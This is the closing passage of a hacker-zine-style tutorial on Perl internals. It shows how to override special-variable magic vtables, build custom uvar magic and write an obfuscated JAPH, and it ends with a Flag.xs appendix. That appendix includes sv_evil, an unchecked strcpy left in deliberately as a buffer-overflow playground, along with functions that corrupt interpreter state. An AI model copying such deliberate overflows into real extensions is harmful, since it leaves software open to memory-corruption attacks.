special variables are this type. In this case, that name paramater
generating it is its actual variable name. For $\ we give "\".
---[ 4.2 ]-------------------------------[ Changing Special Variables ]-----
<fish> cool. You likely shouldn't do that
Maybe like me you decided to be a very naughty boy. You want to change the
magic of how a special variable operates. And you don't want to dig through
all of perl's source code changing things. So, let us just remake it and
overwrite the svt_get or svt_set pointer. Oh yeah.
SV *
sv_change_magic(scalar)
SV* scalar
CODE:
MGVTBL * const vtbl = ((struct xpvmg*)
SvANY(scalar))->xmg_magic->mg_virtual;
(void*)vtbl->svt_get = my_fun;
Aren't I nice, spreading that out into a full TWO lines of sweet structure
madness? In case you were wondering, SvANY is this:
#define Sv_ANY(sv) (sv)->sv_any
Just sometimes makes it easier or more legible to write.
Here is the catch: we have to point that at something, and that something
already has to exist. So we write a my_fun before the XS in our .xs file.
This function should match the following:
I32 my_fun( pTHX_ IV num, SV* scalar);
That might not make sense to you, but that's ok. The first argument type is
IV, pTHX_ is merely a perl macro that will make sure our function works
whether or not we are using threads. Any perl variable that has a character,
then THX, then maybe an underscore (maybe not!) is a thread variable. Things
in perl work a bit differently depending on if you are using threads or not,
but thankfully perl provides this mechanism to make sure it usually doesn't
matter to us.
Here is an example function:
I32
my_fun( pTHX_ IV foo, SV* scalar)
{ printf( "ZSHZN IS KING\n"); }
Now allow me to demonstrate:
use ExtUtils::testlib;
use Flag;
Flag::sv_change_magic($<);
$<++;
$<++;
bash-3.00$ make && perl flag.pl
ZSHZN IS KING
ZSHZN IS KING
bash-3.00$
You get the idea. You can now do whatever you want to Perl special
variables: just be warned that they will lose their original behavior that
was there for a reason. I am not sure when you would actually have a
practical use for creating your own special behavior for variables that perl
specifically needs in one context or another. Unless, of course, you want
everyone to know of your favourable impression of zshzn.
---[ 4.3 ]---------------------------------------------[ Our Own Magic ]----
<Limbic_Region> zshzn - I am not an internals weenie
<zshzn> Limbic_Region: out of curiosity, is there a specific place where the
internals weenies hang out, where they would all jump up and joyfully assist
me in my curious wanderings?
<Limbic_Region> the internals weenies I know of don't really do IRC
It turns out perl provides a system for creating your own magic variables.
So you don't start randomly magicizing variables in ways that will cause
perl to treat them like something important. Maybe you noticed it already.
#define PERL_MAGIC_uvar 'U' /* Available for use by extensions */
We use a ufuncs structure, as defined in perl.h, and the address of that is
our fourth argument to sv_magic. Yes, I know that is insane. But this is
magic. This is actually very easy to use, considering what we have already
discovered above.
SV*
sv_set_magic(scalar)
SV* scalar
CODE:
struct ufuncs uf;
uf.uf_val = &my_fun;// access, svt_get
uf.uf_set = &my_fun; // set, svt_set
uf.uf_index = 0; // identification index
sv_magic(scalar, 0, PERL_MAGIC_uvar, (char*)&uf, sizeof(uf));
Remember from above the signature, I32 my_fun( pTHX_ IV num, SV* scalar);,
that we are calling first with an IV, and secondly with a SV. Your function
can parse the identification number and act accordingly, if you need to
treat different callers differently.
---[ 4.4 ]---------------------------------------------[ A Magic JAPH ]-----
Here is a practical example of our ability at work.
bash-3.00$ cat flag.pl
$|=1;
print "Generating obfuscation...";
Flag::sv_set_magic($$_=$_) for
qw / J u s t a n o t h e r P e r l h a c k e r /;
Flag::flush();
1-$J-$u-$s-$t;
Flag::space();
1-$a-$n-$o-$t-$h-$e-$r;
Flag::space();
1-$P-$e-$r-$l;
Flag::space();
1-$h-$a-$c-$k-$e-$r;
Flag::flush();
bash-3.00$ perl flag.pl
Generating Obfuscation...terhaer
Just another Perl hacker
bash-3.00$
I will leave it as a challenge to the reader as to how that works, why it
doesn't work better, and what limitations it has on it.
-[ 5.0 ]----------------------------------------------------[ Closing ]-----
---[ 5.1 ]----------------------------------------------[ More Topics ]-----
I fully intended to go into more advanced topics. Topics such as the Perl
stack, interaction between stacks, using Perl outside of perl itself,
hacking perl itself, interaction between Perl subroutines, and more.
However, I decided that I better not. The existing documents on those
subjects are very good. After a certain level of familiarity, all you need
to do more things is our handy Perl documentation.
---[ 5.2 ]--------------------------------------------------[ Sources ]-----
The first and foremost among sources is perlguts. There is also illguts
(Perlguts Illustrated, to be found online), perlxs, perlxstut, perlembed,
perlcall, perlapi, perlhack (An excellent document, the specific reason why
this article cannot be named "Hacking Perl"), perlclib, and perlintern. In
my research I have also spent a bit of time on IRC, with some few people who
can offer relevant assistance. I have also spent a lot of time going through
perl source code. I find this particular document relelvant because it
covers such a variety in a short space, and also brings up security issues
and other fun that anybody can enjoy.
---[ 5.3 ]---------------------------------------------------[ Shouts ]-----
I would like to thank fishbot, Limbic~Region, and AtnNn, all of whom helped
in one way or another.
-[ 6.0 ]------------------------------------------[ Appendix: Flag.xs ]-----
#include "EXTERN.h"
#include "perl.h"
#include "XSUB.h"
#include <math.h>
#define DEBUG 0
I32
my_fun( pTHX_ IV foo, SV* scalar)
{ printf( "%c", foo); }
MODULE = Flag PACKAGE = Flag
/* Ever just wished that Perl was an archaic language and you could actually
find such issues as buffer overflows in source code, leading to mad
exploitation for all? Well, if you could, you might find it challenging and
unique, compared to C. This function exists so that you can play around. */
SV *
sv_evil(scalar, string)
SV* scalar
char* string
CODE:
strcpy(((struct xpv*)scalar->sv_any)->xpv_pv,string);
SV *
sv_change_magic(scalar)
SV* scalar
CODE:
MGVTBL * const vtbl = ((struct xpvmg*)
SvANY(scalar))->xmg_magic->mg_virtual;
(void*)vtbl->svt_get = my_fun;
SV*
sv_set_magic(scalar)
SV* scalar
PREINIT:
struct ufuncs uf;
CODE:
uf.uf_val = &my_fun;
uf.uf_set = 0;
int len;
char *temp = SvPV(scalar, len);
uf.uf_index = temp[0];
sv_magic(scalar, scalar, PERL_MAGIC_uvar, (char*)&uf, sizeof(uf));
void flush()
CODE:
printf("\n");
void space()
CODE:
printf(" ");
SV*
sv_do_magic(scalar)
SV* scalar
CODE:
sv_magic(scalar,scalar, '\0', "happy", 5);
const MGVTBL * const vtbl = ((struct xpvmg*)
SvANY(scalar))->xmg_magic->mg_virtual;
MAGIC* mg = ((struct xpvmg*) SvANY(scalar))->xmg_magic;
CALL_FPTR(vtbl->svt_get)(scalar, mg);
SV*
sv_make_magic(scalar, type, ident="happy")
SV* scalar
char type
char* ident
CODE:
sv_magic(scalar, scalar, type, ident, strlen(ident));
SV *
sv_break_undef()
CODE:
SV* temp = newSVpv("happy", 5);
temp->sv_refcnt = ((SV*)&PL_sv_undef)->sv_refcnt;
PL_sv_undef = *temp;
SV *
sv_set_type(scalar, type)
SV* scalar
char* type
CODE:
char types[16][9] = {
"SVt_NULL", "SVt_IV",
"SVt_NV", "SVt_RV",
"SVt_PV", "SVt_PVIV",
"SVt_PVNV", "SVt_PVMG",
"SVt_PVBM", "SVt_PVLV",
"SVt_PVAV", "SVt_PVHV",
"SVt_PVCV", "SVt_PVGV",
"SVt_PVFM", "SVt_PVIO"
};
scalar->sv_flags >>= 4;
scalar->sv_flags <<= 4;
int i;
for (i = 0; i < 16; i++) {
if ( strEQ(type, types[i]) ) {
scalar->sv_flags |= i;
break;
}
}
SV *
sv_set_flag(scalar, flag)
SV* scalar
char* flag
CODE:
char flags[24][10] = {
"PADBUSY", "PADTMP",
"PADMY", "TEMP",
"OBJECT", "GMAGICAL",
"SMAGICAL", "RMAGICAL",
"IOK", "NOK",
"POK", "ROK",
"FAKE", "OOK",
"BREAK", "READONLY",
"IOKp", "NOKp",
"POKp", "SCREAM",
"AMAGIC", "SHAREKEYS",
"LAZYDEL", "VALID"
};
int i;
for (i = 0; i < 24; i++) {
if ( strEQ(flag, flags[i]) ) {
scalar->sv_flags |= (int)pow(2,i+8);
break;
}
}
if ( DEBUG ) {
printf("[ %u ]\n",scalar->sv_flags );
Perl_sv_dump(scalar);
}
SV *
sv_set_flag_only(scalar, flag)
SV* scalar
char* flag
CODE:
char flags[24][10] = {
"PADBUSY", "PADTMP",
"PADMY", "TEMP",
"OBJECT", "GMAGICAL",
"SMAGICAL", "RMAGICAL",
"IOK", "NOK",
"POK", "ROK",
"FAKE", "OOK",
"BREAK", "READONLY",
"IOKp", "NOKp",
"POKp", "SCREAM",
"AMAGIC", "SHAREKEYS",
"LAZYDEL", "VALID"
};
int i;
for (i = 0; i < 24; i++) {
if ( strEQ(flag, flags[i]) ) {
scalar->sv_flags = (int)pow(2,i+8);
break;
}
}
if ( DEBUG ) {
printf("[ %u ]\n",scalar->sv_flags );
Perl_sv_dump(scalar);
}
SV *
sv_rm_flag(scalar, flag)
SV* scalar
char* flag
CODE:
char flags[24][10] = {
"PADBUSY", "PADTMP",
"PADMY", "TEMP",
"OBJECT", "GMAGICAL",
"SMAGICAL", "RMAGICAL",
"IOK", "NOK",
"POK", "ROK",
"FAKE", "OOK",
"BREAK", "READONLY",
"IOKp", "NOKp",
"POKp", "SCREAM",
"AMAGIC", "SHAREKEYS",
"LAZYDEL", "VALID"
};
int i, j;
for (i = 0; i < 24; i++) {
if ( strEQ(flag, flags[i]) ) {
j |= (int)pow(2,i+8);
j = ~j;
scalar->sv_flags &= j;
break;
}
}
if ( DEBUG ) {
printf("[ %u ]\n",scalar->sv_flags );
Perl_sv_dump(scalar);
}
SV *
sv_copy(src, dest)
SV* src
SV* dest
CODE:
sv_setsv(dest, src);
dest->sv_refcnt = src->sv_refcnt;
dest->sv_flags = src->sv_flags;
if ( DEBUG ) Perl_sv_dump(dest);
SV *
sv_my_clear(scalar)
SV* scalar
CODE:
// almost the same as the API's: sv_clear(scalar) or sv_free
sv_setiv(scalar, 0);
sv_setnv(scalar, 0);
sv_setpv(scalar, "");
scalar->sv_flags = 0;
SV*
int_me(SV* scalar)
CODE:
SvIOK_only(scalar);
SV *
stringify(SV* scalar)
CODE:
SvPOK_only(scalar);
SV *
double_or_nothing(SV* scalar)
CODE:
SvNOK_only(scalar);
SV*
play_test()
CODE:
ENTER;
PUSHMARK(SP);
mXPUSHp("yea",3); // == XPUSHs(sv_2mortal(newSVpv("yea",3)));
mXPUSHi(45);
PUTBACK;
int scalar;
scalar = call_pv("check", G_ARRAY);
SPAGAIN;
printf("yo: %d\n", scalar);
printf("yo: %d\n", POPi);
printf("yo: %d\n", POPi);
printf("yo: %d\n", POPi);
FREETMPS;
LEAVE;
----------------------------------[ EOF ]----------------------------------- |
